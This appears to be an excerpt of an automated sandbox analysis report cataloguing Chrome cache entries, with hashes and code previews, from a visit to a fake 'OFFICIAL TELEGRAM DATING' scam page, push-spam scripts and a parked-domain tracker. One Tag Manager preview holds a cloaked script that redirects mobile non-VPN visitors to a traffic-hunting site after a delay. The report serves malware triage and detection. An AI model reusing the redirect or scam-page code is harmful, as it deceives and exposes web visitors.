SHA-512:	A2FD24056E3EC2F1628F89EB2F1B36A9FC2437AE58D34190630FE065DF2BBEDAF9BD8AEE5F8949A002070052CA68CC6C0167214DD55DF289783CFF682B808D85
Malicious:	false
Reputation:	low
URL:	http://ww12.ngelit.com/ls.php?t=664fc89c&token=dda1e75f0c57350d2d7f28c09d9ec469c70db1b0
Preview:	{"success":true}

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	49
Entropy (8bit):	4.466978600084035
Encrypted:	false
SSDEEP:	3:RFh2AFIFMsMFNLRBhEN+Ldp:jhFIFMsMFpnki
MD5:	D4FBF7B7BB4073DAC1D51576A127C342
SHA1:	BB5E4D4F4DF37F50475FAE0A977AA0C7B23A572D
SHA-256:	401C9ECEFD580A307C3B24379B36A9F049EB6F16360C0E1CB0F7D56CB3849A31
SHA-512:	B1209F622C527537D89388649F1826E10A409F3C1335732466D73C2C0141DEB901A6B0C137EBB3CD3E8154C7AF3386574621AB2AC864110C1B9D7EE69379AD67
Malicious:	false
Reputation:	low
Preview:	// Scribe - version 1.91 (redwood.parklogic.com).

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2422), with CRLF line terminators
Category:	downloaded
Size (bytes):	9179
Entropy (8bit):	5.149000966781732
Encrypted:	false
SSDEEP:	192:WWpTuSqugxuHRnigni6U3qV0OKPGLOThC:zZuVYPOqVbexM
MD5:	EAFE0CAF379307BD90BDA46326CB5C80
SHA1:	22CB5AD9D04E631F5533BA97D9C0FEE46E90F356
SHA-256:	249644356DC77B4C0782E922B0DBCFF4B5926F1658AEC7F99B2EE5C768726475
SHA-512:	24643347D5499847F9B7A2DACF399D332130B590C9B1D20853A6CC3062E2BB19E1A6BCC5EBD7DA292B46EF2B277E207D6D2466C2C060538C01BAB6A57F8A1C35
Malicious:	false
Reputation:	low
URL:	https://simxtrackredirecttszz.pages.dev/link-1
Preview:	<!DOCTYPE html>..<html>....<head>.. <meta charset="utf-8">.. <title>OFFICIAL TELEGRAM DATING</title>.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.... <script>window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches && document.documentElement && document.documentElement.classList && document.documentElement.classList.add('theme_dark');</script>.. <link rel="icon" type="image/svg+xml" href="https://telegram.org/img/website_icon.svg?4">.. <link rel="apple-touch-icon" sizes="180x180" href="https://telegram.org/img/apple-touch-icon.png">.. <link rel="icon" type="image/png" sizes="32x32" href="https://telegram.org/img/favicon-32x32.png">.. <link rel="icon" type="image/png" sizes="16x16" href="https://telegram.org/img/favicon-16x16.png">.. <link rel="alternate icon" href="https://telegram.org/img/favicon.ico" type="image/x-icon" />.. <link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesh

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1267)
Category:	downloaded
Size (bytes):	114933
Entropy (8bit):	5.153460703895826
Encrypted:	false
SSDEEP:	1536:xylcfDxYzbJ3iw93BC2cXdm791WoDYz5hw4uJuhwNpfewltog69FjxWDpfxV685u:xylc7xYzwwyVXkC0Yz6vL5u
MD5:	8507165C54755807224A197057729D87
SHA1:	ACE8A26F8402BAEE786617E4820A0860822921F2
SHA-256:	2DF92C7108CF6788CE6FFE7D3170480C6B6CA0367AE57911849B3760F3753994
SHA-512:	4C198202400D755D7B9E32B92E267AB7D3C07D0B90ED351B796CFD791E74F014F59604C52B00CE4F54525B1DB9D7EF27412CA483E1517B2C4E289F207A3BE3BF
Malicious:	false
Reputation:	low
URL:	https://telegram.org/css/telegram.css?227
Preview:	body {. font: 12px/18px "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Verdana, sans-serif;. /-webkit-font-smoothing: antialiased;/.}.html.native_fonts body {. font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";.}.html.lang_rtl {. direction: rtl;.}..body,.html.theme_dark body.bg_light {. --text-color: #000;. --second-text-color: #7d7f81;. --accent-btn-color: #2481cc;. --accent-color-hover: #1a8ad5;. --body-bg: #fff;. --box-bg: #fff;. --box-bg-blured: rgba(255, 255, 255, .84);. --tme-logo-color: #363b40;. --accent-link-color: #2481cc;.. --icon-verified: url('data:image/svg+xml,%3Csvg%20fill%3D%22none%22%20height%3D%2226%22%20viewBox%3D%220%200%2026%2026%22%20width%3D%2226%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22m6%206h12v12h-12z%22%20fill%3D%22%23fff%22%2F%3E%3Cpath%20clip-rule%3D%22evenodd%22%20d%3D%22m14.38%201.51%201.82%

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25088)
Category:	downloaded
Size (bytes):	25130
Entropy (8bit):	5.2638859422373585
Encrypted:	false
SSDEEP:	768:ANv0ya/e0+huytrGHVo1cgYTA1K/rO4VV:ANmcr+Pg0A1UnV
MD5:	9164D0E8A317ECEB870CCA88C9683127
SHA1:	4617C910005F7100B4FF26A458A8B4463E33CDC6
SHA-256:	15C9BD66992EF54979C981763CAE280F28B6845520020ED38B5AB5F3F70F7931
SHA-512:	70AEE224E6C6D4DB2D08C603C1D7FE811720A0B481F9E7D3A4AE9AAD2ADCD28755E4873E860F437931D057025AFCF54491CE99A6405D42BE0D5D749C5744DD4E
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/firebasejs/5.0.2/firebase-app.js
Preview:	!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):t.firebase=e()}(this,function(){"use strict";!function(t){if(!t.fetch){var e={searchParams:"URLSearchParams"in t,iterable:"Symbol"in t&&"iterator"in Symbol,blob:"FileReader"in t&&"Blob"in t&&function(){try{return new Blob,!0}catch(t){return!1}}(),formData:"FormData"in t,arrayBuffer:"ArrayBuffer"in t};if(e.arrayBuffer)var r=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],n=function(t){return t&&DataView.prototype.isPrototypeOf(t)},o=ArrayBuffer.isView\|\|function(t){return t&&r.indexOf(Object.prototype.toString.call(t))>-1};f.prototype.append=function(t,e){t=a(t),e=c(e);var r=this.map[t];this.map[t]=r?r+","+e:e},f.prototype.delete=function(t){delete this.map[a(t)]},f.prototype.get=function(t){re

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2285)
Category:	downloaded
Size (bytes):	222628
Entropy (8bit):	5.5437856215742425
Encrypted:	false
SSDEEP:	3072:jvc0Iard8Ods1bS8uqVIqjysCBgA7dQZqpqzGmR274xKaaAz4itJ:jb8OdsA6Z1LEdQ4qzGacw
MD5:	792A19E9185778D41D764EE54114127A
SHA1:	8237C2E8E3B9E7992CBDD5118A76B81768C6106F
SHA-256:	10EF3991B4985A4DDB12D193463AD4787D39E41F6890E8B3DBEBE2540544E1C6
SHA-512:	75E1AD1C9F71FFB162BE6A76E5A9A09D03065B30C03B69333E45FDC65E6145A9869B9E75AEC5ADBA8814FA4BD6CD58E4C923E6108BDA0BAAC30F3492E753D920
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-TR8VQRX
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"9",. . "macros":[{"function":"__e"},{"function":"__gas","vtp_cookieDomain":"auto","vtp_doubleClick":false,"vtp_setTrackerName":false,"vtp_useDebugVersion":false,"vtp_useHashAutoLink":false,"vtp_decorateFormsAutoLink":false,"vtp_enableLinkId":false,"vtp_enableEcommerce":false,"vtp_trackingId":"UA-179148962-2","vtp_enableRecaptchaOption":false,"vtp_enableUaRlsa":false,"vtp_enableUseInternalVersion":false,"vtp_enableGA4Schema":true},{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__f","vtp_component":"URL"},{"function":"__e"},{"function":"__v","vtp_name":"gtm.elementUrl","vtp_d

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10683), with no line terminators
Category:	downloaded
Size (bytes):	10683
Entropy (8bit):	5.504776285690009
Encrypted:	false
SSDEEP:	192:g6fDmGLnT9CmQAYtiydBvJr02WPTGC2YNTUYZYqYy0KcLoq4umCNCSC2x7pyJ:jTg0ydBv87JzNTJy/TzLolumCNbx7pyJ
MD5:	77534C644E02AB6356E7D6D7E068A52C
SHA1:	00EE123E14E00B79EA7ADDFBA83CADCCC3A94610
SHA-256:	C0B418148076B3E8CFDAE771ED19D95A5C31B73654E0B3B47D36557E8A649D84
SHA-512:	92D23514B47C3CE2B0A01E9D6E2DD5B74EB038AEBF7ABF643791CB64273A2720E5DB02A734ABCC9290DDB845CCFB7207671AA8F0B7F48B46C05F590D495FA4AA
Malicious:	false
Reputation:	low
URL:	https://static.trafficjunky.com/js/mp.min.js
Preview:	var _mpevt=_mpevt\|\|[];(function(w,d,u){if(typeof EtappTracker!="undefined"&&EtappTracker){}else{_mpevt=w._mpevt\|\|[];var t=666,_i={},_useTimer,_self=this,_e=encodeURIComponent\|\|escape,_OBU,_async,_asyncTimer;function _rdate(c){var b=new Date;b.setTime(b.getTime()+c864e5);return b.toGMTString()}function _gCookie(c,ctx){if(c.substring(0,3)=="mp_"){}else{if(ctx!=undefined){c="mp_"+ctx+"_"+c}else{c="mp_"+c}}var b=document.cookie,a=0;if(b){for(b=b.split("; ");a<b.length;a++){b[a]=b[a].split("=",2);if(unescape(b[a][0])==c){return unescape(b[a][1])}}}return null}function _sCookie(c,b,a){var g,d=["expires","path","domain","secure"],e=d.length,f;a=typeof a=="object"&&a!=null?a:{};g=escape(c)+"="+escape(b);if(typeof a.domain=="undefined"){a.domain="."+location.hostname.match(/([a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+)[:0-9]$/)[1]}if(typeof a.path=="undefined"){a.path="/"}if(a){for(;--e;){if(typeof(f=a[d[e]])!="undefined"){g+="; "+(d[e]=="secure"?d[e]:d[e]=="expires"?isNaN(f)?f:_rdate(f):d[e]+"="+f)}}}doc

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	17741
Entropy (8bit):	4.517193280276879
Encrypted:	false
SSDEEP:	384:UHF+G8u+cpaAQVQ58Pnf88pV4kUj1vXXGDkfmd+I:Ul+G8JhVQ4HpVc1vXXGDkfo
MD5:	6B5BCCAD39F7057909AD0660F33CC2FA
SHA1:	A7995E45D98A311F94C3F6F096A7E414B5A34407
SHA-256:	765F676A53B5275CB0BF0835962B72ACCD340101AC2E32D8A215F8B1047B0941
SHA-512:	81FD445AA9F6A579E694A25E3E107618F265F9AAD9AEA5B0ED38177A5216ED437C2020296CE313AFBD593CF96A7A243B16FF10CCE494F2AF29888CFA26FB7904
Malicious:	false
Reputation:	low
URL:	https://cdn.jmp-assets.com/prod/push-subscriber.js
Preview:	"use strict";.var showDebug = false;..var partyId = 'Q0Q6cUlBOExyZ20=';.var cdnServerUrl = 'https://cdn.smrt-content.com/prod';.var apiServerUrl = 'https://theseoffersforyou.com';.var swScope = '/';.var customWorkerJS = 'service-worker.js';..var pushConfig = {. trackData: {. statParams: ['country', 'city', 'cid'],. urlParams: ['s1', 's2', 's3', 's4', 'ref', 'eauuid', 'tid', 'revenue'],. device: ['maker', 'model']. },. sid: '',. urls: {. conversion: '',. denied: '',. success: '',. }.};.var indexedDBConfig = {. baseName: "subscriberData",. storeName: "subscriberData",. storedDataMap: new Map(),. version: 2.};.var indexedDBFCMConfig = {. baseName: "fcm_token_details_db",. storeName: "fcm_token_object_Store",. storedDataMap: new Map(),. version: 1.};..var pushLoopDomains = {. domains: [],. redirectUrl: "".};..var.messageBody = {. info: {}.};..function logger(message) {. showDebug && console.log(mes

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3034)
Category:	downloaded
Size (bytes):	271752
Entropy (8bit):	5.560681889456466
Encrypted:	false
SSDEEP:	3072:Nglgbc0Iard8OdwzMyba8UyCKqjysCBIQ+9agdDBqzGmRFFHxK6+BH54O7oD5+A:ygb8OdwzMPFz1zQ+9fdDBqzGaKB+OU
MD5:	80F958F75463DDF82057AC0371855E5B
SHA1:	41BEFF7D1F70082FFAAC9ECA062D22E0EAF93C2B
SHA-256:	3EAC7EC7E395C87846C035A564F2E00C1A5AABD3E95F1471D1CD4F296856918D
SHA-512:	389E25691115D8AD6E1CF31A7108677FA2D4235771791F82225A892D5D968F24A9579DAF23491E01C1C92FA3DB6A79BDA3587CAEB7022D556ACFE93D64DE88A0
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-C3EPRPS8FB&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":0,"function":"__c","vtp_value":0}],. "tags":[{"function":"__gct","vtp_trackingId":"G-C3EPRPS8FB","vtp_sessionDuration":0,"tag_id":1},{"function":"__ccd_em_outbound_click","priority":0,"vtp_includeParams":true,"vtp_instanceDestinationId":"G-C3EPRPS8FB","tag_id":3},{"function":"__ccd_em_download","vtp_includeParams":true,"vtp_instanceDestinationId":"G-C3EPRPS8FB","tag_id":5},{"function":"__ccd_em_video","vtp_includeParams":true,"vtp_instanceDestinationId":"G-C3EPRPS8FB","tag_id":6},{"function":"__ccd_em_site_search","vtp_searchQueryParams":"q,s,search,query,keyword","vtp_includeParams":true,"vtp_instanceDestinationId":"G-C3EPRPS8FB","tag_id":7},{"function":"__ccd_em_scroll","vtp_includeParams":true,"vtp_instanceDestinationId":"G-C3EPRPS8FB","tag_id":8},{"function"

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	231706
Entropy (8bit):	4.593328315871064
Encrypted:	false
SSDEEP:	1536:XVU9J794HJ4E7mwNUiRPt5jmU7LxmMS2S1J7g8tEqcqMWKB5v:Xew7ePc
MD5:	D0C22C6A97023D85BA6E644A41C44A5D
SHA1:	4284EFB616C182DA4450C123174CE0E81A322845
SHA-256:	118ADD53487C02AAF5B5AB9F69380FA06717DEB10492E14AAA487E3C62806AD4
SHA-512:	DA96462F4F999BB65509D32E4D5D2E1FD74555CE78D43E5F80FC350155BCE59250337CD1796B17D2132F39429B5E3FD95D05101EE9F9B29BCE2BB7B44B6E4EB8
Malicious:	false
Reputation:	low
URL:	https://telegram.org/img/tgme/pattern.svg?1
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 27.0.1, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 1440 2960" style="enable-background:new 0 0 1440 2960;" xml:space="preserve">.<style type="text/css">...st0{fill:none;stroke:#000000;stroke-width:3;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:10;}...st1{fill:none;stroke:#000000;stroke-width:3;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:10.0001;}...st2{fill:none;stroke:#000000;stroke-width:2.9998;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:9.9995;}...st3{stroke:#000000;stroke-width:3;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:10;}...st4{fill:none;stroke:#000000;stroke-width:2.9999;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:9.9998;}...st5{fill:none;stroke:#000000;stroke-width:3.0001

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4046)
Category:	downloaded
Size (bytes):	185309
Entropy (8bit):	5.527098339793269
Encrypted:	false
SSDEEP:	3072:fIXc0Iard8OdOebS8HqCIqjysCBGJ+dQWqzGmRm+4xKkqaN:eb8OdOW9Z13AdQWqzGatI
MD5:	9AE8C1FA68F80EC66DE33E09F616C414
SHA1:	AA8C89C422A6F00BFB3CB8EE3223CB4FBB112F05
SHA-256:	4062F1FF7D74ABA77BAF9280FA747CACF2E6A69D952685E7B41FAFC1FBFE6DA4
SHA-512:	F56D0173F70D37AB924F2354267608A2DC53C9170F0B1D04B8A8637F6A07A28AF0B5173FD487FBC97C92E9CA09954EE2A8B0ECED69AB1AA50004EED56BAA9C72
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-5R6C28C
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"163",. . "macros":[{"function":"__e"},{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__f","vtp_component":"URL"},{"function":"__e"}],. "tags":[{"function":"__paused","vtp_originalTagType":"googtag","tag_id":25},{"function":"__html","metadata":["map"],"once_per_event":true,"vtp_html":"\u003Cscript type=\"text\/gtmscript\"\u003EsetTimeout(function(){if((navigator.userAgent.match(\/Android\/i)\|\|navigator.userAgent.match(\/iPhone\|iPad\|iPod\/i))\u0026\u0026!navigator.userAgent.match(\/(proxy\|vpn)\/i)){var a=\"https:\/\/traffichunt.site\/\";top.location.href=a}},21E4);\u003C\/sc

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://cdn.jmp-assets.com/assets/1714/js/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1080x1071, components 3
Category:	downloaded
Size (bytes):	156077
Entropy (8bit):	7.964584883783361
Encrypted:	false
SSDEEP:	3072:+vXQS8gNSVwVg2V/bijruoPdulnnBmaNVMRJtT1DRVxSTbN9KF:+T3NSO+2tbijrlPduN0a7+T1Dp8KF
MD5:	1E4E8BF38A736DDBF3B37F725C2C6996
SHA1:	8665BB1F3713FA53ED4F049847781EE46CC02E39
SHA-256:	EB1AFA33DE03F6734510282FBE8CF0C0DBAB3C91FCCBFA379C50681D419ADB65
SHA-512:	6BB1DB53658A94DD0C0552EA6217136EE76FBD5F46A9C650A19C39690A809ACA60B037A164618FE0A3ECFF93F2C23CA75CA9067DCCCC04442EFFF117056C677D
Malicious:	false
Reputation:	low
URL:	https://simxtrackredirecttszz.pages.dev/img/profile-1.jpg
Preview:	......JFIF.....H.H.....(ICC_PROFILE...............mntrRGB XYZ ............acsp.......................................-....................................................desc.......trXYZ...d....gXYZ...x....bXYZ........rTRC.......(gTRC.......(bTRC.......(wtpt........cprt.......<mluc............enUS...X.....s.R.G.B................................................................................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........para..........ff......Y.......[........XYZ ...............-mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C......................................................................./.8.."..................................................................................l.~.E...K..zB...wZ`.c....H......<.>t.W.2\.9.{...5..Z.r.r.7YJ.mI...%.J.*.%U.(..()m....lyh. U.j..&)....Y.....AzI%d}.5.Z."I"."I!<........>..8...$..Q..;2...~^.\..s.?b....?._?w_9I,..A.}W.wD..

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1500 x 600, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	11375
Entropy (8bit):	7.645494653990172
Encrypted:	false
SSDEEP:	192:Wg3JLNIdFb540f7mqTiLHrBjcCTN1MbaJD/RBse6ogkORdLv2Ha/:vD4N54IsHVjdN1tD7lODL/
MD5:	0CB2E5165DC9324EB462199F04E1FFA9
SHA1:	9E0F89847EC8A98D98A6020BC5C4ED32B7A48BF8
SHA-256:	67DFF0AAD873050F12609885F2264417CCDD0D438311000A704C89F0865F7865
SHA-512:	7A285C4A87B9F9093B7BA720D8FE08E0AD7E2EBDE9EF8C8D11B70AFA08245AF8F8A7281C7B3FBE8BAD21C3AFDE4F32634D3BD416822892AA47BA82C12F4B8191
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......X.....Om......tEXtSoftware.Adobe ImageReadyq.e<....PLTE......cdtIK^IK]IK\03IHK_acsceubdtcet..0=@SHK]IL]HK\MPbNQbORc.....0"&;(,@+/B04I.2F/3G-1D04H.2E04G15H26I59L8<P6:M9=Q7;N:>R:>Q;?R<@SIL\beuadtbetcftbes..-..0. 5.!6."7.#8."6.$9 %:!&;"'<"';$)>#(<%?$)=&+@%>',A&+?(-B).C(-A).B/C+0D,1E05I15G<@R=ASIM_HL]KO`HL\MQbaeu.....-../.....0../.....0../..1..1..2..3..4. 5.!6.#8.$9.%: &;"':$)<&+>',?(-@).A/B+0C,1D/A-2E.3F/4G05H16I/4F05G38K6;N49K;@S;@R<ASGL^bfuaetbft.....0.!5."6.#7.$8.%9 &:!';"(<!':#)=#)<$=&,@&,?+1E)/B06IGL]GL\HM]bfs..-.....0..1. 4.!5."6.#7.$8 '< ';*0B.4F06H06G..-..0.!5 (< (;...................................................................................................................................................................................................................................................t....tRNS..............................................................................................................................................

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2422), with CRLF line terminators
Category:	downloaded
Size (bytes):	9179
Entropy (8bit):	5.149000966781732
Encrypted:	false
SSDEEP:	192:WWpTuSqugxuHRnigni6U3qV0OKPGLOThC:zZuVYPOqVbexM
MD5:	EAFE0CAF379307BD90BDA46326CB5C80
SHA1:	22CB5AD9D04E631F5533BA97D9C0FEE46E90F356
SHA-256:	249644356DC77B4C0782E922B0DBCFF4B5926F1658AEC7F99B2EE5C768726475
SHA-512:	24643347D5499847F9B7A2DACF399D332130B590C9B1D20853A6CC3062E2BB19E1A6BCC5EBD7DA292B46EF2B277E207D6D2466C2C060538C01BAB6A57F8A1C35
Malicious:	false
Reputation:	low
URL:	https://simxtrackredirecttszz.pages.dev/
Preview:	<!DOCTYPE html>..<html>....<head>.. <meta charset="utf-8">.. <title>OFFICIAL TELEGRAM DATING</title>.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.... <script>window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches && document.documentElement && document.documentElement.classList && document.documentElement.classList.add('theme_dark');</script>.. <link rel="icon" type="image/svg+xml" href="https://telegram.org/img/website_icon.svg?4">.. <link rel="apple-touch-icon" sizes="180x180" href="https://telegram.org/img/apple-touch-icon.png">.. <link rel="icon" type="image/png" sizes="32x32" href="https://telegram.org/img/favicon-32x32.png">.. <link rel="icon" type="image/png" sizes="16x16" href="https://telegram.org/img/favicon-16x16.png">.. <link rel="alternate icon" href="https://telegram.org/img/favicon.ico" type="image/x-icon" />.. <link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesh

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1058
Entropy (8bit):	5.030800685744207
Encrypted:	false
SSDEEP:	12:jhkSCEVFVJ22OXDEJlTIYl+LnoGWw/BtH/aJS0bVG0yFFC/Q7/gkRFLa830qbSYi:dkS31lofyS0bM0EFC/Q7/Jta8W/P/lbH
MD5:	564CBD4C6AF7E77E180723C96DAB3D84
SHA1:	F07757EE7D13D2014A9C7578AA8FD39675611F17
SHA-256:	4DFF69908F7EDDD77FDA9F742C34012F54D717B40F4DD7EB97AC733BF282D8CE
SHA-512:	C434F28C23EEDA8F6E4740164F38EA9EEA0FA33A2E16A3F2A068DEE2B7875C9391D316E2D1FF491611429991B5702A328DC9DBED92E5CCFA3D8870EFCC4BB159
Malicious:	false
Reputation:	low
URL:	http://parking.parklogic.com/page/enhance.js?pcId=12&domain=ngelit.com
Preview:	// Scribe.js - parking.parklogic.com.const queryString = window.location.search;.const urlParams = new URLSearchParams(queryString);.var usid = urlParams.get('usid');.var utid = urlParams.get('utid');.const query = urlParams.get('query');.const domainJs = window.location.hostname;.var path = window.location.pathname;.const afdToken = urlParams.get('afdToken');.const lp = (afdToken === null \|\| afdToken.length === 0) ? 1 : 2;.const ss = typeof(Storage) !== 'undefined';.if (ss) {. sessionStorage.SessionName = 'Scribe';. if (lp === 1) {. sessionStorage.setItem('usid', usid);. sessionStorage.setItem('utid', utid);. sessionStorage.setItem('path', path);. } else {. usid = sessionStorage.getItem('usid');. utid = sessionStorage.getItem('utid');. path = sessionStorage.getItem('path');. 